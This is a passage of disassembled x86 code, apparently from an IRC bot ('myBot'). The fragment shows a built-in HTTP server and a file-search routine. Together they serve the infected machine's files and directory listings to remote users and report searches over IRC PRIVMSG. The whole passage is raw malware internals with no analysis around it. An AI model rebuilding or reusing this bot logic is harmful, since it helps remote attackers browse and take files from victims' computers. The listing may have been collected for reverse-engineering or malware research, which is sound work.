test ebx, ebx
jbe short loc_40FC37
lea edx, [ebp+var_134]
loc_40FC2B: ; CODE XREF: sub_40FAD6+15Fj
cmp [edx], eax
jz short loc_40FC37
inc ecx
add edx, 4
cmp ecx, ebx
jb short loc_40FC2B
loc_40FC37: ; CODE XREF: sub_40FAD6+14Dj
; sub_40FAD6+157j
cmp ecx, ebx
jnz short loc_40FC54
cmp ebx, 40h
jnb short loc_40FC54
mov [ebp+ecx*4+var_134], eax
mov ebx, [ebp+var_138]
inc ebx
mov [ebp+var_138], ebx
loc_40FC54: ; CODE XREF: sub_40FAD6+163j
; sub_40FAD6+168j
cmp eax, [ebp+var_8]
jbe loc_40FEA7
mov [ebp+var_8], eax
jmp loc_40FEA7
; ---------------------------------------------------------------------------
loc_40FC65: ; CODE XREF: sub_40FAD6+126j
mov edi, 1000h
lea eax, [ebp+var_28F0]
push edi
push 0
push eax
call sub_41BF70
push edi
lea eax, [ebp+var_18F0]
push 0
push eax
call sub_41BF70
add esp, 18h
lea eax, [ebp+var_28F0]
push 0
push edi
push eax
push esi
call dword_4CB9EC ; recv
test eax, eax
jg short loc_40FCF8
push esi
call dword_4CBA6C ; closesocket
xor ecx, ecx
test ebx, ebx
jbe loc_40FEA7
lea eax, [ebp+var_134]
loc_40FCB7: ; CODE XREF: sub_40FAD6+1EBj
cmp [eax], esi
jz short loc_40FCC8
inc ecx
add eax, 4
cmp ecx, ebx
jb short loc_40FCB7
jmp loc_40FEA7
; ---------------------------------------------------------------------------
loc_40FCC8: ; CODE XREF: sub_40FAD6+1E3j
lea eax, [ebx-1]
cmp ecx, eax
jnb short loc_40FCEC
lea eax, [ebp+ecx*4+var_134]
loc_40FCD6: ; CODE XREF: sub_40FAD6+214j
mov edx, [eax+4]
inc ecx
mov [eax], edx
mov ebx, [ebp+var_138]
add eax, 4
lea edx, [ebx-1]
cmp ecx, edx
jb short loc_40FCD6
loc_40FCEC: ; CODE XREF: sub_40FAD6+1F7j
dec ebx
mov [ebp+var_138], ebx
jmp loc_40FEA7
; ---------------------------------------------------------------------------
loc_40FCF8: ; CODE XREF: sub_40FAD6+1C8j
xor esi, esi
push 104h
lea eax, [ebp+var_23C]
push esi
push eax
call sub_41BF70
lea eax, [ebp+var_28F0]
mov [ebp+arg_0], esi
push eax
call sub_41B9C0
add esp, 10h
test eax, eax
jbe loc_40FEA7
loc_40FD26: ; CODE XREF: sub_40FAD6+309j
mov eax, [ebp+arg_0]
mov al, [ebp+eax+var_28F0]
cmp al, 0Ah
mov [ebp+esi+var_18F0], al
jnz loc_40FDCB
mov esi, offset aGet_0 ; "GET "
lea eax, [ebp+var_18F0]
push esi
push eax
call sub_41C2E0
pop ecx
test eax, eax
pop ecx
jz short loc_40FD9F
lea eax, [ebp+var_18F0]
push eax
call sub_41B9C0
cmp eax, 5
pop ecx
jbe short loc_40FD9F
mov eax, offset asc_42CDC0 ; " "
push eax
push eax
lea eax, [ebp+var_18F0]
push esi
push eax
call sub_41C2E0
pop ecx
pop ecx
push eax
call sub_41C2E0
pop ecx
pop ecx
push eax
call sub_41CAD4
push eax
lea eax, [ebp+var_23C]
push eax
call sub_41C890
add esp, 10h
jmp short loc_40FDB6
; ---------------------------------------------------------------------------
loc_40FD9F: ; CODE XREF: sub_40FAD6+27Fj
; sub_40FAD6+291j
lea eax, [ebp+var_18F0]
push offset asc_4349EC ; "\r\n"
push eax
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jz short loc_40FDEA
loc_40FDB6: ; CODE XREF: sub_40FAD6+2C7j
push edi
lea eax, [ebp+var_18F0]
push 0
push eax
call sub_41BF70
add esp, 0Ch
or esi, 0FFFFFFFFh
loc_40FDCB: ; CODE XREF: sub_40FAD6+263j
inc [ebp+arg_0]
lea eax, [ebp+var_28F0]
push eax
inc esi
call sub_41B9C0
cmp [ebp+arg_0], eax
pop ecx
jb loc_40FD26
jmp loc_40FEA7
; ---------------------------------------------------------------------------
loc_40FDEA: ; CODE XREF: sub_40FAD6+2DEj
xor ecx, ecx
test ebx, ebx
jbe short loc_40FE34
lea eax, [ebp+var_134]
loc_40FDF6: ; CODE XREF: sub_40FAD6+32Dj
mov esi, [ebp+var_4]
cmp [eax], esi
jz short loc_40FE07
inc ecx
add eax, 4
cmp ecx, ebx
jb short loc_40FDF6
jmp short loc_40FE37
; ---------------------------------------------------------------------------
loc_40FE07: ; CODE XREF: sub_40FAD6+325j
lea eax, [ebx-1]
cmp ecx, eax
jnb short loc_40FE2B
lea eax, [ebp+ecx*4+var_134]
loc_40FE15: ; CODE XREF: sub_40FAD6+353j
mov edx, [eax+4]
inc ecx
mov [eax], edx
mov ebx, [ebp+var_138]
add eax, 4
lea edx, [ebx-1]
cmp ecx, edx
jb short loc_40FE15
loc_40FE2B: ; CODE XREF: sub_40FAD6+336j
dec ebx
mov [ebp+var_138], ebx
jmp short loc_40FE37
; ---------------------------------------------------------------------------
loc_40FE34: ; CODE XREF: sub_40FAD6+318j
mov esi, [ebp+var_4]
loc_40FE37: ; CODE XREF: sub_40FAD6+32Fj
; sub_40FAD6+35Cj
lea eax, [ebp+var_23C]
test eax, eax
jz short loc_40FEA0
lea eax, [ebp+var_360]
push eax
call sub_41B9C0
mov edi, eax
lea eax, [ebp+var_23C]
push eax
call sub_41B9C0
add edi, eax
pop ecx
cmp edi, 104h
pop ecx
jnb short loc_40FEA0
and [ebp+arg_0], 0
lea eax, [ebp+arg_0]
push eax
push 8004667Eh
push esi
call dword_4CBA70 ; ioctlsocket
push [ebp+var_254]
lea eax, [ebp+var_23C]
push [ebp+var_248]
push eax
lea eax, [ebp+var_360]
push eax
push esi
call sub_4100B4
add esp, 14h
jmp short loc_40FEA7
; ---------------------------------------------------------------------------
loc_40FEA0: ; CODE XREF: sub_40FAD6+369j
; sub_40FAD6+38Fj
push esi
call dword_4CBA6C ; closesocket
loc_40FEA7: ; CODE XREF: sub_40FAD6+11Dj
; sub_40FAD6+143j ...
mov esi, [ebp+var_4]
inc esi
cmp esi, [ebp+var_8]
mov [ebp+var_4], esi
jbe loc_40FBE3
jmp loc_40FBAD
; ---------------------------------------------------------------------------
loc_40FEBC: ; CODE XREF: sub_40FAD6+102j
mov edi, [ebp+var_C]
xor ebx, ebx
loc_40FEC1: ; CODE XREF: sub_40FAD6+6Aj
; sub_40FAD6+92j ...
call dword_4CB968 ; WSAGetLastError
push eax
lea eax, [ebp+var_8F0]
push offset unk_4349C4
push eax
call sub_41C266
add esp, 0Ch
cmp [ebp+var_24C], ebx
jnz short loc_40FF07
push ebx
lea eax, [ebp+var_8F0]
push [ebp+var_250]
push eax
lea eax, [ebp+var_5E8]
push eax
push [ebp+var_5EC]
call sub_409869
add esp, 14h
loc_40FF07: ; CODE XREF: sub_40FAD6+40Cj
lea eax, [ebp+var_8F0]
push eax
call sub_415D38
pop ecx
push edi
call dword_4CBA6C ; closesocket
push [ebp+var_254]
call sub_40B6D6
pop ecx
push ebx
call ds:dword_4270D4 ; ExitThread
pop edi
pop esi
pop ebx
sub_40FAD6 endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40FF31 proc near ; DATA XREF: sub_4100B4+24Do
var_1654 = byte ptr -1654h
var_654 = byte ptr -654h
var_550 = byte ptr -550h
var_44C = dword ptr -44Ch
var_3C8 = byte ptr -3C8h
var_2C4 = byte ptr -2C4h
var_B8 = dword ptr -0B8h
var_B4 = dword ptr -0B4h
var_A4 = dword ptr -0A4h
var_9C = byte ptr -9Ch
var_68 = byte ptr -68h
var_20 = byte ptr -20h
arg_0 = dword ptr 8
push ebp
mov ebp, esp
mov eax, 1654h
call sub_41C500
mov eax, [ebp+arg_0]
push esi
push edi
mov ecx, 0ECh
mov esi, eax
lea edi, [ebp+var_44C]
rep movsd
mov dword ptr [eax+3ACh], 1
lea eax, [ebp+var_3C8]
push eax
lea eax, [ebp+var_550]
push eax
call sub_41C266
pop ecx
lea eax, [ebp+var_2C4]
pop ecx
push eax
lea eax, [ebp+var_654]
push eax
call sub_41C266
xor edi, edi
pop ecx
cmp [ebp+var_A4], edi
pop ecx
jz short loc_40FF97
push offset aTextHtml ; "text/html"
jmp short loc_40FF9C
; ---------------------------------------------------------------------------
loc_40FF97: ; CODE XREF: sub_40FF31+5Dj
push offset aApplicationOct ; "application/octet-stream"
loc_40FF9C: ; CODE XREF: sub_40FF31+64j
lea eax, [ebp+var_9C]
push eax
call sub_41C266
pop ecx
lea eax, [ebp+var_68]
pop ecx
mov esi, 409h
push 46h
push eax
push offset aDddDdMmmYyyy ; "ddd, dd MMM yyyy"
push edi
push edi
push esi
call ds:dword_427110 ; GetDateFormatA
lea eax, [ebp+var_20]
push 1Eh
push eax
push offset aHhMmSs ; "HH:mm:ss"
push edi
push edi
push esi
call ds:dword_42710C ; GetTimeFormatA
lea eax, [ebp+var_20]
cmp [ebp+var_B8], 0FFFFFFFFh
push eax
lea eax, [ebp+var_68]
push eax
lea eax, [ebp+var_20]
push eax
lea eax, [ebp+var_68]
push eax
lea eax, [ebp+var_20]
push eax
lea eax, [ebp+var_68]
push eax
jnz short loc_410015
lea eax, [ebp+var_9C]
push eax
lea eax, [ebp+var_1654]
push offset aHttp1_0200OkSe ; "HTTP/1.0 200 OK\r\nServer: myBot\r\nCache-C"...
push eax
call sub_41C266
add esp, 24h
jmp short loc_410036
; ---------------------------------------------------------------------------
loc_410015: ; CODE XREF: sub_40FF31+C5j
push [ebp+var_B8]
lea eax, [ebp+var_9C]
push eax
lea eax, [ebp+var_1654]
push offset aHttp1_0200Ok_0 ; "HTTP/1.0 200 OK\r\nServer: myBot\r\nCache-C"...
push eax
call sub_41C266
add esp, 28h
loc_410036: ; CODE XREF: sub_40FF31+E2j
lea eax, [ebp+var_1654]
push edi
push eax
call sub_41B9C0
pop ecx
push eax
lea eax, [ebp+var_1654]
push eax
push [ebp+var_44C]
call dword_4CBA24 ; send
cmp [ebp+var_A4], edi
jnz short loc_410076
lea eax, [ebp+var_550]
push eax
push [ebp+var_44C]
call sub_4109F1
pop ecx
pop ecx
jmp short loc_410093
; ---------------------------------------------------------------------------
loc_410076: ; CODE XREF: sub_40FF31+12Dj
lea eax, [ebp+var_654]
push eax
push edi
push [ebp+var_44C]
lea eax, [ebp+var_550]
push eax
call sub_41036B
add esp, 10h
loc_410093: ; CODE XREF: sub_40FF31+143j
push [ebp+var_44C]
call dword_4CBA6C ; closesocket
push [ebp+var_B4]
call sub_40B6D6
pop ecx
push edi
call ds:dword_4270D4 ; ExitThread
pop edi
pop esi
sub_40FF31 endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4100B4 proc near ; CODE XREF: sub_40FAD6+3C0p
var_8C4 = byte ptr -8C4h
var_6C4 = dword ptr -6C4h
var_640 = byte ptr -640h
var_53C = byte ptr -53Ch
var_330 = dword ptr -330h
var_32C = dword ptr -32Ch
var_31C = dword ptr -31Ch
var_318 = dword ptr -318h
var_314 = byte ptr -314h
var_211 = byte ptr -211h
var_210 = byte ptr -210h
var_10C = byte ptr -10Ch
var_10B = byte ptr -10Bh
var_10A = byte ptr -10Ah
var_8 = byte ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
arg_10 = dword ptr 18h
push ebp
mov ebp, esp
sub esp, 8C4h
push ebx
push esi
push edi
xor edi, edi
push 104h
lea eax, [ebp+var_210]
push edi
push eax
mov [ebp+var_4], edi
call sub_41BF70
mov eax, [ebp+arg_8]
add esp, 0Ch
cmp byte ptr [eax], 2Fh
jz short loc_4100EA
push eax
push offset aS_9 ; "\\%s"
jmp short loc_4100F3
; ---------------------------------------------------------------------------
loc_4100EA: ; CODE XREF: sub_4100B4+2Cj
push eax
mov byte ptr [eax], 5Ch
push offset aS_8 ; "%s"
loc_4100F3: ; CODE XREF: sub_4100B4+34j
lea eax, [ebp+var_10C]
push eax
call sub_41C266
add esp, 0Ch
lea eax, [ebp+var_10C]
xor esi, esi
xor ebx, ebx
push eax
call sub_41B9C0
test eax, eax
pop ecx
jbe short loc_41018E
mov [ebp+arg_8], 2
loc_41011E: ; CODE XREF: sub_4100B4+D8j
lea eax, [ebp+var_10C]
push eax
call sub_41B9C0
cmp [ebp+arg_8], eax
pop ecx
jnb short loc_41015E
cmp [ebp+esi+var_10C], 25h
jnz short loc_41015E
cmp [ebp+esi+var_10B], 32h
jnz short loc_41015E
cmp [ebp+esi+var_10A], 30h
jnz short loc_41015E
inc esi
mov [ebp+ebx+var_210], 20h
inc esi
add [ebp+arg_8], 2
jmp short loc_410178
; ---------------------------------------------------------------------------
loc_41015E: ; CODE XREF: sub_4100B4+7Aj
; sub_4100B4+84j ...
mov al, [ebp+esi+var_10C]
cmp al, 2Fh
jnz short loc_41016E
push 5Ch
pop eax
jmp short loc_410171
; ---------------------------------------------------------------------------
loc_41016E: ; CODE XREF: sub_4100B4+B3j
movsx eax, al
loc_410171: ; CODE XREF: sub_4100B4+B8j
mov [ebp+ebx+var_210], al
loc_410178: ; CODE XREF: sub_4100B4+A8j
lea eax, [ebp+var_10C]
inc esi
inc [ebp+arg_8]
push eax
inc ebx
call sub_41B9C0
cmp esi, eax
pop ecx
jb short loc_41011E
loc_41018E: ; CODE XREF: sub_4100B4+61j
lea eax, [ebp+var_210]
push eax
lea eax, [ebp+var_314]
push [ebp+arg_4]
push offset aSS ; "%s%s"
push eax
call sub_41C266
lea eax, [ebp+var_314]
push offset asc_42A080 ; "\n"
push eax
call sub_41CAD4
add esp, 18h
lea eax, [ebp+var_314]
push eax
call ds:dword_4270A0 ; GetFileAttributesA
push 1
cmp eax, 10h
pop esi
jz short loc_4101DF
cmp eax, 0FFFFFFFFh
jnz short loc_4101E2
push [ebp+arg_0]
jmp loc_410262
; ---------------------------------------------------------------------------
loc_4101DF: ; CODE XREF: sub_4100B4+11Cj
mov [ebp+var_4], esi
loc_4101E2: ; CODE XREF: sub_4100B4+121j
cmp [ebp+ebx+var_211], 5Ch
jnz short loc_4101EF
mov [ebp+var_4], esi
loc_4101EF: ; CODE XREF: sub_4100B4+136j
mov ebx, [ebp+arg_0]
cmp [ebp+var_4], edi
mov [ebp+var_6C4], ebx
mov [ebp+var_318], edi
jz short loc_41026D
cmp [ebp+arg_C], edi
jz short loc_410261
lea eax, [ebp+var_314]
push offset asc_434C78 ; "*"
push eax
call sub_41C8A0
pop ecx
lea eax, [ebp+var_314]
pop ecx
push eax
lea eax, [ebp+var_640]
push eax
call sub_41C266
lea eax, [ebp+var_210]
push eax
call sub_410AAE
add esp, 0Ch
lea eax, [ebp+var_210]
push eax
lea eax, [ebp+var_53C]
push eax
call sub_41C266
or [ebp+var_330], 0FFFFFFFFh
pop ecx
pop ecx
mov [ebp+var_31C], esi
jmp short loc_4102BC
; ---------------------------------------------------------------------------
loc_410261: ; CODE XREF: sub_4100B4+152j
push ebx
loc_410262: ; CODE XREF: sub_4100B4+126j
call dword_4CBA6C ; closesocket
jmp loc_410364
; ---------------------------------------------------------------------------
loc_41026D: ; CODE XREF: sub_4100B4+14Dj
push edi
push edi
push 3
push edi
push esi
lea eax, [ebp+var_314]
push 80000000h
push eax
call ds:dword_4270F8 ; CreateFileA
mov esi, eax
cmp esi, 0FFFFFFFFh
jz short loc_4102BC
lea eax, [ebp+var_314]
push eax
lea eax, [ebp+var_640]
push eax
call sub_41C266
pop ecx
mov [ebp+var_31C], edi
pop ecx
push edi
push esi
call ds:dword_427114 ; GetFileSize
push esi
mov [ebp+var_330], eax
call ds:dword_427070 ; CloseHandle
loc_4102BC: ; CODE XREF: sub_4100B4+1ABj
; sub_4100B4+1D6j
mov esi, [ebp+arg_10]
lea eax, [ebp+var_8C4]
push esi
push offset unk_434C44
push eax
call sub_41C266
push edi
lea eax, [ebp+var_8C4]
push 3
push eax
call sub_40B3BA
mov [ebp+var_32C], eax
imul eax, 234h
add esp, 18h
mov dword_43E914[eax], esi
lea eax, [ebp+var_8]
push eax
lea eax, [ebp+var_6C4]
push edi
push eax
push offset sub_40FF31
push edi
push edi
call ds:dword_427084 ; CreateThread
mov ecx, [ebp+var_32C]
imul ecx, 234h
cmp eax, edi
mov dword_43E924[ecx], eax
jz short loc_410336
loc_410324: ; CODE XREF: sub_4100B4+280j
cmp [ebp+var_318], edi
jnz short loc_410364
push 5
call ds:dword_427080 ; Sleep
jmp short loc_410324
; ---------------------------------------------------------------------------
loc_410336: ; CODE XREF: sub_4100B4+26Ej
push ebx
call dword_4CBA6C ; closesocket
call ds:dword_427094 ; RtlGetLastWin32Error
push eax
lea eax, [ebp+var_8C4]
push offset unk_434C0C
push eax
call sub_41C266
lea eax, [ebp+var_8C4]
push eax
call sub_415D38
add esp, 10h
loc_410364: ; CODE XREF: sub_4100B4+1B4j
; sub_4100B4+276j
pop edi
pop esi
xor eax, eax
pop ebx
leave
retn
sub_4100B4 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41036B proc near ; CODE XREF: sub_401ACD+75E3p
; sub_40FF31+15Ap
var_594 = byte ptr -594h
var_490 = byte ptr -490h
var_388 = dword ptr -388h
var_374 = byte ptr -374h
var_368 = dword ptr -368h
var_35C = byte ptr -35Ch
var_248 = byte ptr -248h
var_48 = byte ptr -48h
var_20 = byte ptr -20h
var_18 = word ptr -18h
var_16 = word ptr -16h
var_12 = word ptr -12h
var_10 = word ptr -10h
var_E = word ptr -0Eh
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
push ebp
mov ebp, esp
sub esp, 594h
push ebx
push esi
push edi
xor ebx, ebx
push 104h
lea eax, [ebp+var_594]
push ebx
push eax
mov [ebp+var_4], ebx
mov [ebp+var_8], ebx
call sub_41BF70
mov edi, [ebp+arg_0]
push offset asc_42A080 ; "\n"
push edi
call sub_41CAD4
add esp, 14h
cmp [ebp+arg_8], ebx
jz short loc_4103CA
push edi
mov esi, 200h
push [ebp+arg_8]
lea eax, [ebp+var_248]
push offset aPrivmsgSSearch ; "PRIVMSG %s :Searching for: %s\r\n"
push esi
push eax
call sub_41C360
add esp, 14h
jmp loc_4104C9
; ---------------------------------------------------------------------------
loc_4103CA: ; CODE XREF: sub_41036B+3Aj
cmp [ebp+arg_C], ebx
push edi
jz loc_4104AF
call sub_41B9C0
pop ecx
mov [eax+edi-1], bl
push edi
mov esi, 200h
push offset aHtmlHeadTitleI ; "<HTML>\r\n<HEAD>\r\n<TITLE>Index of %s</TIT"...
lea eax, [ebp+var_248]
push esi
push eax
call sub_41C360
add esp, 10h
lea eax, [ebp+var_248]
push ebx
push eax
call sub_41B9C0
pop ecx
push eax
lea eax, [ebp+var_248]
push eax
push [ebp+arg_4]
call dword_4CBA24 ; send
push edi
push offset aH1IndexOfSH1Ta ; "<H1>Index of %s</H1>\r\n<TABLE BORDER=\"0\""...
lea eax, [ebp+var_248]
push esi
push eax
call sub_41C360
add esp, 10h
lea eax, [ebp+var_248]
push ebx
push eax
call sub_41B9C0
pop ecx
push eax
lea eax, [ebp+var_248]
push eax
push [ebp+arg_4]
call dword_4CBA24 ; send
push edi
call sub_41B9C0
pop ecx
mov byte ptr [eax+edi], 2Ah
push 3Ch
push 96h
push 0E6h
push offset aTrTdWidthDCode ; "<TR>\r\n<TD WIDTH=\"%d\"><CODE>Name</CODE><"...
lea eax, [ebp+var_248]
push esi
push eax
call sub_41C360
add esp, 18h
lea eax, [ebp+var_248]
push ebx
push eax
call sub_41B9C0
pop ecx
push eax
lea eax, [ebp+var_248]
push eax
push [ebp+arg_4]
call dword_4CBA24 ; send
push offset aTrTdColspan3Hr ; "<TR>\r\n<TD COLSPAN=\"3\"><HR></TD>\r\n</TR>\r"...
lea eax, [ebp+var_248]
push esi
push eax
call sub_41C360
add esp, 0Ch
jmp short loc_4104C9
; ---------------------------------------------------------------------------
loc_4104AF: ; CODE XREF: sub_41036B+63j
mov esi, 200h
push offset aSearchingForS ; "Searching for: %s\r\n"
lea eax, [ebp+var_248]
push esi
push eax
call sub_41C360
add esp, 10h
loc_4104C9: ; CODE XREF: sub_41036B+5Aj
; sub_41036B+142j
lea eax, [ebp+var_248]
push ebx
push eax
call sub_41B9C0
pop ecx
push eax
lea eax, [ebp+var_248]
push eax
push [ebp+arg_4]
call dword_4CBA24 ; send
cmp [ebp+arg_C], ebx
jz short loc_410564
push [ebp+arg_C]
call sub_41B9C0
cmp eax, 2
pop ecx
jbe short loc_410564
push [ebp+arg_C]
call sub_41B9C0
sub eax, 3
pop ecx
jz short loc_410515
loc_410509: ; CODE XREF: sub_41036B+1A8j
mov ecx, [ebp+arg_C]
cmp byte ptr [eax+ecx], 2Fh
jz short loc_410515
dec eax
jnz short loc_410509
loc_410515: ; CODE XREF: sub_41036B+19Cj
; sub_41036B+1A5j
inc eax
push eax
lea eax, [ebp+var_594]
push [ebp+arg_C]
push eax
call sub_41BFD0
add esp, 0Ch
lea eax, [ebp+var_594]
push eax
push offset aTrTdColspan3AH ; "<TR>\r\n<TD COLSPAN=\"3\"><A HREF=\"%s\"><COD"...
lea eax, [ebp+var_248]
push esi
push eax
call sub_41C360
add esp, 10h
lea eax, [ebp+var_248]
push ebx
push eax
call sub_41B9C0
pop ecx
push eax
lea eax, [ebp+var_248]
push eax
push [ebp+arg_4]
call dword_4CBA24 ; send
loc_410564: ; CODE XREF: sub_41036B+180j
; sub_41036B+18Ej
lea eax, [ebp+var_388]
push eax
push edi
call ds:dword_427124 ; FindFirstFileA
lea ecx, [ebp+var_388]
mov [ebp+arg_0], eax
push ecx
push eax
call ds:dword_427120 ; FindNextFileA
test eax, eax
jz loc_410954
mov edi, 1FFh
loc_410590: ; CODE XREF: sub_41036B+5E3j
cmp [ebp+var_388], ebx
jz loc_41093C
lea eax, [ebp+var_35C]
push offset a__ ; ".."
push eax
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jz loc_41093C
lea eax, [ebp+var_35C]
push offset a__0 ; "."
push eax
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jz loc_41093C
lea eax, [ebp+var_20]
push eax
lea eax, [ebp+var_374]
push eax
call ds:dword_42711C ; FileTimeToLocalFileTime
lea eax, [ebp+var_18]
push eax
lea eax, [ebp+var_20]
push eax
call ds:dword_427118 ; FileTimeToSystemTime
mov ax, [ebp+var_10]
mov ecx, offset aPm_0 ; "PM"
cmp ax, 0Ch
ja short loc_410605
mov ecx, offset aAm ; "AM"
loc_410605: ; CODE XREF: sub_41036B+293j
cmp ax, 0Ch
movzx eax, ax
jbe short loc_410611
sub eax, 0Ch
loc_410611: ; CODE XREF: sub_41036B+2A1j
push ecx
movzx ecx, [ebp+var_E]
push ecx
push eax
movzx eax, [ebp+var_18]
push eax
movzx eax, [ebp+var_12]
push eax
movzx eax, [ebp+var_16]
push eax
lea eax, [ebp+var_48]
push offset a2_2d2_2d4d2_2d ; "%2.2d/%2.2d/%4d %2.2d:%2.2d %s"
push eax
call sub_41C266
add esp, 20h
test byte ptr [ebp+var_388], 10h
jz loc_4107B4
inc [ebp+var_8]
cmp [ebp+arg_8], ebx
jz short loc_410685
lea eax, [ebp+var_35C]
push eax
push offset aS_2 ; "<%s>"
lea eax, [ebp+var_490]
push 106h
push eax
call sub_41C360
add esp, 10h
lea eax, [ebp+var_48]
push eax
lea eax, [ebp+var_490]
push eax
push [ebp+arg_8]
push offset aPrivmsgS31s21s ; "PRIVMSG %s :%-31s %-21s\n"
jmp loc_4108FD
; ---------------------------------------------------------------------------
loc_410685: ; CODE XREF: sub_41036B+2E0j
cmp [ebp+arg_C], ebx
jz loc_41076F
push 0E6h
push offset aTrTdWidthDAHre ; "<TR>\r\n<TD WIDTH=\"%d\"><A HREF=\""
lea eax, [ebp+var_248]
push edi
push eax
call sub_41C360
add esp, 10h
lea eax, [ebp+var_248]
push ebx
push eax
call sub_41B9C0
pop ecx
push eax
lea eax, [ebp+var_248]
push eax
push [ebp+arg_4]
call dword_4CBA24 ; send
lea eax, [ebp+var_35C]
push eax
lea eax, [ebp+var_248]
push [ebp+arg_C]
push offset aSS_4 ; "%s%s/"
push edi
push eax
call sub_41C360
add esp, 14h
lea eax, [ebp+var_248]
push ebx
push eax
call sub_41B9C0
pop ecx
push eax
lea eax, [ebp+var_248]
push eax
push [ebp+arg_4]
call dword_4CBA24 ; send
lea eax, [ebp+var_35C]
push eax
call sub_41B9C0
cmp eax, 1Eh
pop ecx
lea eax, [ebp+var_35C]
push eax
jbe short loc_410725
push offset aCode_29sGtCode ; "\"><CODE>%.29s>/</CODE></A>"
jmp short loc_41072A
; ---------------------------------------------------------------------------
loc_410725: ; CODE XREF: sub_41036B+3B1j
push offset aCodeSCodeA ; "\"><CODE>%s/</CODE></A>"
loc_41072A: ; CODE XREF: sub_41036B+3B8j
lea eax, [ebp+var_248]
push edi
push eax
call sub_41C360
add esp, 10h
lea eax, [ebp+var_248]
push ebx
push eax
call sub_41B9C0
pop ecx
push eax
lea eax, [ebp+var_248]
push eax
push [ebp+arg_4]
call dword_4CBA24 ; send
lea eax, [ebp+var_48]
push 3Ch
push eax
push 96h
push offset aTdTdWidthDCode ; "</TD>\r\n<TD WIDTH=\"%d\"><CODE>%s</CODE></"...
push edi
jmp loc_4108FE
; ---------------------------------------------------------------------------
loc_41076F: ; CODE XREF: sub_41036B+31Dj
lea eax, [ebp+var_35C]
push eax
push offset aS_2 ; "<%s>"
lea eax, [ebp+var_490]
push 106h
push eax
call sub_41C360
add esp, 10h
lea eax, [ebp+var_48]
push eax
lea eax, [ebp+var_490]
push eax
push offset a31s21s ; "%-31s %-21s\r\n"
lea eax, [ebp+var_248]
push esi
push eax
call sub_41C360
add esp, 14h
jmp loc_41090D
; ---------------------------------------------------------------------------
loc_4107B4: ; CODE XREF: sub_41036B+2D4j
inc [ebp+var_4]
cmp [ebp+arg_8], ebx
jz short loc_4107F3
push ebx
push [ebp+var_368]
call sub_416CC9
pop ecx
pop ecx
push eax
lea eax, [ebp+var_48]
push eax
lea eax, [ebp+var_35C]
push eax
push [ebp+arg_8]
push offset aPrivmsgS31s2_0 ; "PRIVMSG %s :%-31s %-21s (%s bytes)\n"
push esi
loc_4107DF: ; CODE XREF: sub_41036B+577j
lea eax, [ebp+var_248]
push eax
call sub_41C360
add esp, 1Ch
jmp loc_41090D
; ---------------------------------------------------------------------------
loc_4107F3: ; CODE XREF: sub_41036B+44Fj
cmp [ebp+arg_C], ebx
jz loc_4108E7
push 0E6h
push offset aTrTdWidthDAHre ; "<TR>\r\n<TD WIDTH=\"%d\"><A HREF=\""
lea eax, [ebp+var_248]
push edi
push eax
call sub_41C360
add esp, 10h
lea eax, [ebp+var_248]
push ebx
push eax
call sub_41B9C0
pop ecx
push eax
lea eax, [ebp+var_248]
push eax
push [ebp+arg_4]
call dword_4CBA24 ; send
lea eax, [ebp+var_35C]
push eax
lea eax, [ebp+var_248]
push [ebp+arg_C]
push offset aSS ; "%s%s"
push edi
push eax
call sub_41C360
add esp, 14h
lea eax, [ebp+var_248]
push ebx
push eax
call sub_41B9C0
pop ecx
push eax
lea eax, [ebp+var_248]
push eax
push [ebp+arg_4]
call dword_4CBA24 ; send
lea eax, [ebp+var_35C]
push eax
call sub_41B9C0
cmp eax, 1Fh
pop ecx
lea eax, [ebp+var_35C]
push eax
jbe short loc_410893
push offset aCode_30sGtCode ; "\"><CODE>%.30s></CODE></A>"
jmp short loc_410898
; ---------------------------------------------------------------------------
loc_410893: ; CODE XREF: sub_41036B+51Fj
push offset aCodeSCodeA_0 ; "\"><CODE>%s</CODE></A>"
loc_410898: ; CODE XREF: sub_41036B+526j
lea eax, [ebp+var_248]
push edi
push eax
call sub_41C360
add esp, 10h
lea eax, [ebp+var_248]
push ebx
push eax
call sub_41B9C0
pop ecx
push eax
lea eax, [ebp+var_248]
push eax
push [ebp+arg_4]
call dword_4CBA24 ; send
mov eax, [ebp+var_368]
shr eax, 0Ah
push eax
lea eax, [ebp+var_48]
push 3Ch
push eax
push 96h
push offset aTdTdWidthDCo_0 ; "</TD>\r\n<TD WIDTH=\"%d\"><CODE>%s</CODE></"...
push edi
jmp loc_4107DF
; ---------------------------------------------------------------------------
loc_4108E7: ; CODE XREF: sub_41036B+48Bj
push [ebp+var_368]
lea eax, [ebp+var_48]
push eax
lea eax, [ebp+var_35C]
push eax
push offset a31s21sIBytes ; "%-31s %-21s (%i bytes)\r\n"
loc_4108FD: ; CODE XREF: sub_41036B+315j
push esi
loc_4108FE: ; CODE XREF: sub_41036B+3FFj
lea eax, [ebp+var_248]
push eax
call sub_41C360
add esp, 18h
loc_41090D: ; CODE XREF: sub_41036B+444j
; sub_41036B+483j
lea eax, [ebp+var_248]
push ebx
push eax
call sub_41B9C0
pop ecx
push eax
lea eax, [ebp+var_248]
push eax
push [ebp+arg_4]
call dword_4CBA24 ; send
cmp [ebp+arg_8], ebx
jz short loc_41093C
push 7D0h
call ds:dword_427080 ; Sleep
loc_41093C: ; CODE XREF: sub_41036B+22Bj
; sub_41036B+246j ...
lea eax, [ebp+var_388]
push eax
push [ebp+arg_0]
call ds:dword_427120 ; FindNextFileA
test eax, eax
jnz loc_410590
loc_410954: ; CODE XREF: sub_41036B+21Aj
push [ebp+arg_0]
call ds:dword_427000 ; FindClose
cmp [ebp+arg_8], ebx
jz short loc_410997
mov eax, [ebp+var_8]
cdq
push edx
push eax
call sub_416CC9
pop ecx
pop ecx
push eax
mov eax, [ebp+var_4]
cdq
push edx
push eax
call sub_416CC9
pop ecx
pop ecx
push eax
lea eax, [ebp+var_248]
push [ebp+arg_8]
